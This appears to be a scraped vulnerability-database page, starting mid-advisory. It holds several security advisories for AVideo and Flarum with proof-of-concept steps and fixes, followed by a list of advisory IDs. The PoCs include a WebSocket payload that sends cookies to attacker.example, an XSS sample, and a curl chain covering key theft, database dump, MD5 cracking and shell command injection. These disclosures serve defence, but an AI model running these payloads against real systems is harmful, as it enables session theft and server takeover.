{"error":false,"msg":"","webSocketToken":"<long encrypted token>","webSocketURL":"wss://target.example:8888/?webSocketToken=<token>&..."}
```

**Step 2 — connect to the WebSocket endpoint** using the returned `webSocketURL`. A minimal Node.js client:

```js
const WebSocket = require('ws');
const TOKEN = '<token from step 1>';
const URL   = '<webSocketURL from step 1>';
const ws = new WebSocket(URL, { rejectUnauthorized: false });

ws.on('open', () => {
    // Payload 1 — primary sink (raw WebSocket transport):
    ws.send(JSON.stringify({
        webSocketToken: TOKEN,
        msg: {
            autoEvalCodeOnHTML:
                "fetch('https://attacker.example/x?c='+encodeURIComponent(document.cookie));" +
                "alert('XSS as '+document.domain);"
        }
    }));

    // Payload 2 — secondary sink (reaches both raw WS and Socket.IO clients):
    ws.send(JSON.stringify({
        webSocketToken: TOKEN,
        msg: "p",
        callback: "alert(document.domain);window.x"
    }));
});
```

**Step 3 — observe impact.** Every other user currently connected to the same AVideo instance (via any page that loads YPTSocket's `script.js` — the global footer, the admin dashboard, live streams, video pages) receives the broadcast. In their browser:

- Payload 1 reaches `parseSocketResponse()` at line 568 and evaluates `eval(json.msg.autoEvalCodeOnHTML)`, firing the exfiltration request to `attacker.example` with `document.cookie`.
- Payload 2 reaches `processSocketJson()` at line 95; the synthesized `code` string is `if (typeof alert(document.domain);window.x == 'function') { ... }`, which executes `alert(document.domain)` during the `typeof` evaluation.

Any administrator who is online at the moment of the broadcast has their session cookie exfiltrated and/or arbitrary actions performed in their browser context.

## Impact

A single unauthenticated request and one WebSocket frame grants the attacker **universal client-side code execution** across every user currently connected to the target AVideo instance. Concretely:

- Session theft of every connected user, including administrators (note: `HttpOnly` does not help because the attacker's JS runs in-origin and can call privileged endpoints directly without ever reading cookies).
- Privileged action execution on behalf of any admin who happens to be online — including plugin installation (`GHSA-v8jw-8w5p-23g3` shows admin plugin ZIP upload is already an RCE primitive), user promotion/demotion, video deletion, configuration changes.
- Stored cross-user JS persistence via `localStorage`, IndexedDB, or re-submitting the payload as a comment/title through admin credentials.
- Financial redirection (payment flows, crypto-donation addresses) and phishing via arbitrary DOM rewriting of the authentic AVideo origin.
- The scope change (S:C) is genuine: an unauthenticated (or low-privileged) attacker's actions cross the trust boundary into every other user's browser authorization context, including admin.

## Recommended Fix

Multiple defense-in-depth layers are required:

**1. Remove the client-side eval sinks entirely.** `plugin/YPTSocket/script.js`:

```diff
- if (json.msg?.autoEvalCodeOnHTML !== undefined) {
-     eval(json.msg.autoEvalCodeOnHTML);
- }
```

No legitimate server flow should push arbitrary JavaScript through a broadcast channel — if server-driven UI updates are needed, use structured data and predefined handler functions.

Replace the callback dispatch at lines 91-95 with a strict name-based lookup against a predefined allowlist:

```diff
- if (json.callback) {
-     var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }";
-     eval(code);
-     ...
- } else {
-     myfunc = defaultCallback;
- }
+ var ALLOWED_CALLBACKS = ['socketNewConnection', 'socketDisconnection', /* ... */];
+ if (typeof json.callback === 'string' && ALLOWED_CALLBACKS.indexOf(json.callback) !== -1
+     && typeof window[json.callback] === 'function') {
+     myfunc = window[json.callback];
+     const event = new CustomEvent(json.callback, { detail: _details });
+     document.dispatchEvent(event);
+ } else {
+     myfunc = defaultCallback;
+ }
```

**2. Server-side: allowlist keys on relayed `msg` objects.** In `plugin/YPTSocket/Message.php::onMessage()` default branch, whitelist the fields permitted in relayed broadcasts rather than forwarding `$msg['msg']` verbatim:

```php
// At top of default branch, after msgToArray:
$ALLOWED_MSG_KEYS = ['type', 'text', 'videos_id', 'users_id', /* ... */];
if (isset($json['msg']) && is_array($json['msg'])) {
    $json['msg'] = array_intersect_key($json['msg'], array_flip($ALLOWED_MSG_KEYS));
}
// Similarly sanitize callback:
if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
    unset($json['callback']);
}
```

**3. Restrict token issuance and sender privileges.** `plugin/YPTSocket/getWebSocket.json.php` should require authentication (or at least reject anonymous broadcast capability). Unprivileged senders should not be permitted to trigger `msgToAll` at all — the default branch of `onMessage` should require `$msgObj->isAdmin` (or equivalent) before allowing broadcasts, since there is no legitimate reason for arbitrary clients to originate system-wide messages.

Flarum's translation system allowed for string inputs to be converted into HTML DOM nodes when rendered. This change was made after v0.1.0-beta.16 (our last beta before v1.0.0) and was not noticed or documented.

This allowed for any user to type malicious HTML markup within certain user input fields and have this execute on client browsers. The example which led to the discovery of this vulnerability was in the forum search box. Entering faux-malicious HTML markup, such as <script>alert('test')</script> resulted in an alert box appearing on the forum. This attack could also be modified to perform AJAX requests on behalf of a user, possibly deleting discussions, modifying their settings or profile, or even modifying settings on the Admin panel if the attack was targetted towards a privileged user.

### Impact

All Flarum communities that run flarum v1.0.0 or v1.0.1 are impacted.

### Patches

The vulnerability has been fixed and published as flarum/core v1.0.2. All communities running Flarum v1.0 have to upgrade as soon as possible to v1.0.2 using:

```
composer update --prefer-dist --no-dev -a -W
```

You can then confirm you run the latest version using:

```
composer show flarum/core
```

### Workarounds

__None.__

### For more information

For any questions or comments on this vulnerability please visit https://discuss.flarum.org/d/27558.

For support questions create a discussion at https://discuss.flarum.org/t/support.

A reminder that if you ever become aware of a security issue in Flarum, please report it to us privately by emailing security@flarum.org, and we will address it promptly.


## Summary

Multiple vulnerabilities in AVideo's CloneSite plugin chain together to allow a completely unauthenticated attacker to achieve remote code execution. The `clones.json.php` endpoint exposes clone secret keys without authentication, which can be used to trigger a full database dump via `cloneServer.json.php`. The dump contains admin password hashes stored as MD5, which are trivially crackable. With admin access, the attacker exploits an OS command injection in the rsync command construction in `cloneClient.json.php` to execute arbitrary system commands.

## Details

### Step 1: Clone Key Disclosure

`plugin/CloneSite/clones.json.php:1-8` has zero authentication:

```php
<?php
require_once '../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/CloneSite/Objects/Clones.php';
header('Content-Type: application/json');
$rows = Clones::getAll();
?>
{"data": <?php echo json_encode($rows); ?>}
```

The response includes the `key` field for every registered clone, which is the sole authentication credential for clone operations.

### Step 2: Database Dump via Stolen Key

`plugin/CloneSite/cloneServer.json.php:73-97` — once the key passes `Clones::thisURLCanCloneMe()`, the server executes `mysqldump` and writes the result to a web-accessible directory:

```php
$cmd = "mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} "
    ." --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} > $sqlFile";
exec($cmd . " 2>&1", $output, $return_val);
```

The SQL file path is returned in the JSON response and is downloadable.

### Step 3: Admin Credential Extraction

`objects/user.php:1798` — passwords are stored as unsalted MD5:

```php
$passEncoded = md5($pass);
```

The `users` table in the dump contains `user`, `password` (MD5), and `isAdmin` fields. MD5 hashes crack in seconds.

### Step 4: Command Injection via Rsync

`plugin/CloneSite/cloneClient.json.php:259` — the `videosDir` from the clone server response is interpolated unsanitized into the rsync command:

```php
$rsync = "sshpass -p '{password}' rsync -av ... {$objClone->cloneSiteSSHUser}@{$objClone->cloneSiteSSHIP}:{$json->videosDir} ...";
exec($cmd . " 2>&1", $output, $return_val);
```

An admin who controls a clone server (or an attacker who has become admin) can inject arbitrary commands via the `videosDir` field.

## PoC

```bash
# Step 1: Steal clone keys (unauthenticated)
curl -s 'http://target/plugin/CloneSite/clones.json.php' | jq '.data[0].key'
# Output: "a1b2c3d4e5f6..."

# Step 2: Trigger database dump
CLONE_KEY="a1b2c3d4e5f6..."
curl -s "http://target/plugin/CloneSite/cloneServer.json.php" \
  --data "url=http://attacker.com&key=${CLONE_KEY}&useRsync=0" | jq '.sqlFile'
# Output: "Clone_mysqlDump_1234567890.sql"

# Step 3: Download the dump and extract admin credentials
curl -s "http://target/videos/clones/Clone_mysqlDump_1234567890.sql" \
  | grep -A2 "INSERT INTO.*users" \
  | grep -oP "admin','[a-f0-9]{32}"
# Output: admin','5f4dcc3b5aa765d61d8327deb882cf99  (MD5 of "password")

# Step 4: Crack MD5 (trivial)
echo -n "5f4dcc3b5aa765d61d8327deb882cf99" | hashcat -m 0 -a 0 rockyou.txt
# Output: password

# Step 5: Login as admin, configure CloneSite with malicious server
# The attacker's clone server returns videosDir containing: /tmp$(id > /tmp/pwned)
# When rsync executes, the $(id) is evaluated by the shell
```

## Impact

- **Complete server compromise**: Unauthenticated attacker achieves arbitrary command execution as the web server user
- **Full database disclosure**: The entire database (users, videos, configurations, secrets) is exfiltrated
- **No user interaction**: Every step is automated, no clicks or social engineering required
- **Credential theft**: All user passwords (MD5) are trivially recoverable
- **Lateral movement**: Database credentials and SSH credentials (stored encrypted in the plugins table) may enable access to other systems

## Recommended Fix

1. **Add authentication to `clones.json.php`:**
```php
// plugin/CloneSite/clones.json.php
require_once '../../videos/configuration.php';
if (!User::isAdmin()) {
    http_response_code(403);
    die(json_encode(['error' => true, 'msg' => 'Admin required']));
}
```

2. **Don't store SQL dumps in web-accessible directories** — use a path outside the web root or require re-authentication to download.

3. **Upgrade password hashing** — replace MD5 with `password_hash()` (bcrypt/argon2):
```php
// Replace: $passEncoded = md5($pass);
$passEncoded = password_hash($pass, PASSWORD_DEFAULT);
```

4. **Sanitize rsync command parameters** — use `escapeshellarg()` on all interpolated values:
```php
$rsync = sprintf("rsync -av ... %s@%s:%s ...",
    escapeshellarg($objClone->cloneSiteSSHUser),
    escapeshellarg($objClone->cloneSiteSSHIP),
    escapeshellarg($json->videosDir)
);
```

CVE ID↕	Published↕	CVSS↑
GHSA-45hc-r4fj-qj89	Apr 2, 2022	Critical 9.8
GHSA-33gc-6cw9-w3g4	Dec 10, 2021	Critical 9.8
GHSA-6frc-vfw9-wm27	May 14, 2022	Critical 9.8
GHSA-7cm4-vmf2-8wf2	Oct 12, 2022	Critical 9.8
GHSA-hgjx-r89m-m7v4	Jul 14, 2026	Critical 9.9
GHSA-c3qp-2ggw-xjg7	Jun 5, 2026	Critical 9.9
GHSA-jvc5-6g7q-c843	Jun 9, 2026	Critical 9.9
GHSA-5pm9-r2m8-rcmj	Jun 22, 2026	Critical 9.9
GHSA-gp56-f67f-m4px	Feb 2, 2026	Critical 9.9
GHSA-4jch-8qq5-hqg6	Nov 10, 2023	Critical 9.9
GHSA-9x44-4gxf-8c25	Aug 28, 2026	Critical 9.9
GHSA-9fx4-7cmj-47vg	Jul 2, 2026	Critical 9.9
GHSA-5qmh-x653-g8qj	Jul 14, 2026	Critical 9.9
GHSA-m4f2-xpfq-h97v	Dec 17, 2025	Critical 9.9
GHSA-p379-cxqh-q822	Apr 25, 2023	Critical 9.9
GHSA-6r9h-4h75-7q4x	Jul 2, 2026	Critical 9.9
GHSA-q623-2j2j-23jj	Jul 29, 2024	Critical 9.9
GHSA-67wg-6j7r-mqh8	Jun 5, 2024	Critical 9.9
GHSA-fhrf-q333-82fm	Apr 1, 2026	Critical 9.9
GHSA-qm5c-m76r-2hfr	May 15, 2024	Critical 9.9
GHSA-xcq3-7pf3-5jvc	Aug 6, 2023	Critical 9.9
GHSA-85m8-g393-jcxf	Apr 1, 2026	Critical 9.9
GHSA-pgpf-m8m4-6cg6	Mar 12, 2026	Critical 9.9
GHSA-fc4p-p49v-r948	Apr 1, 2026	Critical 9.9
GHSA-w59f-67xm-rxx7	Apr 16, 2026	Critical 9.9
GHSA-8j8w-wwqc-x596	Jun 2, 2025	Critical 9.9
GHSA-69wx-xc6j-28v3	Jul 29, 2024	Critical 9.9
GHSA-4fvx-h823-38v3	Oct 31, 2024	Critical 9.9
GHSA-gccq-h3xj-jgvf	Feb 12, 2024	Critical 9.9
GHSA-97m3-52wr-xvv2	Feb 22, 2024	Critical 10
GHSA-m5f5-28qr-9g9r	Jul 10, 2026	Critical 10
GHSA-f3gw-9ww9-jmc3	Apr 25, 2025	Critical 10
GHSA-jp4g-r8c9-3534	May 13, 2022	Critical 10
GHSA-5rwm-2xw8-hh9p	Feb 20, 2024	Critical 10
GHSA-wc9g-6j9w-hr95	Apr 29, 2025	Critical 10
GHSA-m58q-qq5h-mgqq	Jul 21, 2022	Critical 10
GHSA-4vj2-426r-jm3g	Oct 15, 2022	Critical 10
GHSA-f25v-x6vr-962g	Jul 24, 2026	Critical 10
GHSA-vf2r-cxg9-p7rf	Aug 4, 2025	Critical 10
GHSA-jv7x-xhv2-p5v2	Jul 14, 2025	Critical 10
GHSA-27qr-636m-wxg2	May 15, 2024	Critical 10
GHSA-24wv-6c99-f843	Jun 19, 2025	Critical 10
GHSA-qfm8-78qf-p75j	May 21, 2025	Critical 10
GHSA-674v-3g2w-84gx	Mar 29, 2022	Critical 10
GHSA-4w8r-3xrw-v25g	Sep 13, 2023	Critical 10
GHSA-8x27-jwjr-8545	May 1, 2025	Critical 10
GHSA-56gj-mvh6-rp75	Feb 7, 2023	Critical 10
GHSA-3cw5-7cxw-v5qg	Feb 1, 2023	Critical 10
GHSA-gph2-j4c9-vhhr	Apr 14, 2026	Critical 10
GHSA-5qjq-69w6-fg57	Jun 7, 2021	Critical 10
GHSA-687q-32c6-8x68	Mar 20, 2026	Critical 10

Know every vulnerability
before it knows you.

packagist CVE Vulnerabilities — DevGuard Vulnerability Database

Know every vulnerabilitybefore it knows you.

packagist CVE Vulnerabilities — DevGuard Vulnerability Database

Know every vulnerability
before it knows you.